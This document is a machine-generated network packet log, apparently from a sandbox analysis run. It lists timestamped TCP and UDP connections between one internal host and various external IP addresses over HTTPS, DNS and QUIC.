Dec 27, 2024 08:20:57.739908934 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:57.739922047 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:58.206804991 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.207139015 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.207153082 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.208221912 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.208317041 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.208704948 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.208766937 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.208897114 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.208903074 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.208926916 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.208971977 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.257525921 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.263638973 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.264092922 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.264106035 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.265170097 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.265265942 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.265589952 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.265669107 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.265876055 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.265876055 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.265892982 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.265918016 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.306548119 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.306737900 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.306890011 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.307216883 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.307233095 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.307244062 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.307286024 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.319540977 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.393718004 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.393980980 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.394059896 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.394581079 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.394597054 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.394684076 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.394712925 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.778808117 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:58.778867006 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:58.779028893 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:58.779400110 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:58.779412031 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:58.843666077 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.843895912 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.844059944 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.844178915 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.844198942 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.844286919 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.844494104 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.844494104 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.844511986 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:58.844635963 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.846405983 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:58.846410036 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:59.450927019 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:59.451137066 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:59.451673985 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:59.451682091 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:59.453712940 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:59.453717947 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:59.453753948 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:59.453758955 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.181432962 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.181524992 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:00.181982994 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:00.181993961 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.183847904 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:00.183854103 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.517093897 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.517193079 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:00.517385960 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:00.518369913 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:00.518384933 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:01.058974028 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:01.059042931 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.059050083 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:01.059103012 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.060106039 CET	49955	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.060117006 CET	443	49955	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:01.873872042 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.873903990 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:01.874124050 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.874651909 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:01.874666929 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:02.645643950 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:21:02.645714998 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:21:02.645879030 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:21:03.248609066 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:03.248706102 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:03.248764992 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:03.319143057 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.319250107 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.320101976 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.320110083 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.327703953 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.327709913 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.327790976 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.327805042 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.327876091 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.327892065 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.327903986 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.327913046 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.328027964 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.328048944 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.328113079 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.328182936 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.328193903 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:03.328385115 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:03.328685045 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:04.159332991 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:04.159347057 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:04.159414053 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:04.159435034 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:04.159605026 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:21:04.159615993 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:21:05.077166080 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:05.077250004 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.077263117 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:05.077311039 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.077346087 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:05.077442884 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.077627897 CET	49962	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.077636003 CET	443	49962	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:05.160348892 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.160363913 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:05.160443068 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.160691977 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:05.160701036 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:06.614595890 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:06.614694118 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:06.615436077 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:06.615443945 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:06.617306948 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:06.617312908 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.608510017 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.608572960 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.608584881 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.608706951 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.608735085 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.608756065 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.608901024 CET	49972	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.608908892 CET	443	49972	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.611809969 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.611840963 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.611915112 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.614507914 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:07.614521980 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:07.853893995 CET	443	49898	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:07.853976965 CET	443	49898	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:07.854072094 CET	49898	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:07.855940104 CET	443	49899	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:07.856018066 CET	443	49899	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:07.856076956 CET	49899	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:09.140564919 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:09.140634060 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:09.141406059 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:09.141413927 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:09.161098957 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:09.161108017 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:09.707788944 CET	49898	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:09.707825899 CET	443	49898	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:09.707969904 CET	49899	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:09.707984924 CET	443	49899	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:10.149355888 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:10.149439096 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:10.149441957 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:10.150124073 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:10.150266886 CET	49979	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:21:10.150285006 CET	443	49979	188.245.216.205	192.168.2.5
Dec 27, 2024 08:21:11.876146078 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:11.876240015 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:11.876415968 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:11.885337114 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:11.885566950 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:11.885627985 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:33.411031008 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:33.411048889 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:33.411147118 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:33.411164999 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:36.865422964 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:36.865427971 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:21:36.865444899 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:36.865452051 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:21:37.892164946 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:21:37.892178059 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:21:37.954679012 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:21:37.954689980 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:21:38.133418083 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:38.133446932 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:38.133522987 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:38.133696079 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:38.133708954 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.355520964 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.356002092 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:39.356010914 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.357610941 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.357709885 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:39.357969999 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:39.358032942 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.409231901 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:39.409255028 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:39.454799891 CET	50052	443	192.168.2.5	23.44.201.20
Dec 27, 2024 08:21:40.373295069 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:40.373336077 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:40.373445034 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:40.373608112 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:40.373625994 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:40.435496092 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:40.435535908 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:40.435619116 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:40.435807943 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:40.435821056 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.283005953 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:21:41.283031940 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:21:41.678550959 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:41.678966999 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:41.678982973 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:41.679299116 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:41.679610968 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:41.679677963 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:41.679770947 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:41.703138113 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.703450918 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:41.703468084 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.703804970 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.704199076 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:41.704199076 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:41.704216003 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.704281092 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:41.723330021 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:41.751791954 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:42.186484098 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:42.186563015 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:42.186619997 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:42.186829090 CET	50058	443	192.168.2.5	23.219.161.152
Dec 27, 2024 08:21:42.186845064 CET	443	50058	23.219.161.152	192.168.2.5
Dec 27, 2024 08:21:42.206011057 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:42.206080914 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:42.206167936 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:42.206429005 CET	50059	443	192.168.2.5	23.219.161.132
Dec 27, 2024 08:21:42.206435919 CET	443	50059	23.219.161.132	192.168.2.5
Dec 27, 2024 08:21:58.681421041 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:58.681513071 CET	443	50052	23.44.201.20	192.168.2.5
Dec 27, 2024 08:21:58.681565046 CET	50052	443	192.168.2.5	23.44.201.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:19:58.425059080 CET	65156	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:19:58.563771009 CET	53	65156	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:00.714807034 CET	64887	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:00.949089050 CET	53	64887	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:17.347125053 CET	53	51881	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:17.378448009 CET	53	53612	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:17.431166887 CET	51502	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:17.431166887 CET	52727	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:17.568036079 CET	53	51502	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:17.569237947 CET	53	52727	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:20.258251905 CET	53	61075	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:21.951713085 CET	53	54903	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:23.859550953 CET	53	61030	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:34.195646048 CET	54731	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:34.195830107 CET	63136	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:34.333406925 CET	53	63136	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:36.865259886 CET	50809	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:36.865539074 CET	60361	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:37.849261045 CET	52488	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:37.849858046 CET	55157	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:37.986181974 CET	53	52488	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:37.986382961 CET	53	55157	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.191853046 CET	57977	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.192117929 CET	56597	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.192800045 CET	57230	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.193042040 CET	54261	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.220659018 CET	58104	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.220896006 CET	56922	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:38.341435909 CET	53	57977	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.341459990 CET	53	56597	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.341470957 CET	53	57230	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.341481924 CET	53	54261	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.564251900 CET	53	58104	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:38.564275026 CET	53	56922	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:40.187550068 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.460510969 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.489448071 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.771429062 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.097524881 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.280739069 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.280764103 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.280775070 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.280869007 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.281793118 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.286695957 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.289666891 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.315937042 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.351310015 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.361679077 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.377315044 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.420805931 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.534014940 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.534229040 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.535168886 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.535202026 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.535559893 CET	49428	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:41.535777092 CET	65490	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:41.549186945 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.549813986 CET	49311	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:41.550067902 CET	65017	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:20:41.550594091 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.591054916 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.591155052 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.593056917 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.593225956 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.593238115 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.593904018 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.595526934 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.609541893 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.609635115 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.609643936 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.609652042 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.609947920 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.610059023 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.610132933 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.614200115 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615045071 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615641117 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615700006 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615709066 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615751982 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.615778923 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.615859985 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.639904022 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.640472889 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.640661001 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.640835047 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.641038895 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.641186953 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.672733068 CET	53	65490	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:41.672926903 CET	53	49428	1.1.1.1	192.168.2.5
Dec 27, 2024 08:20:41.674787998 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.674932003 CET	443	58994	172.64.41.3	192.168.2.5
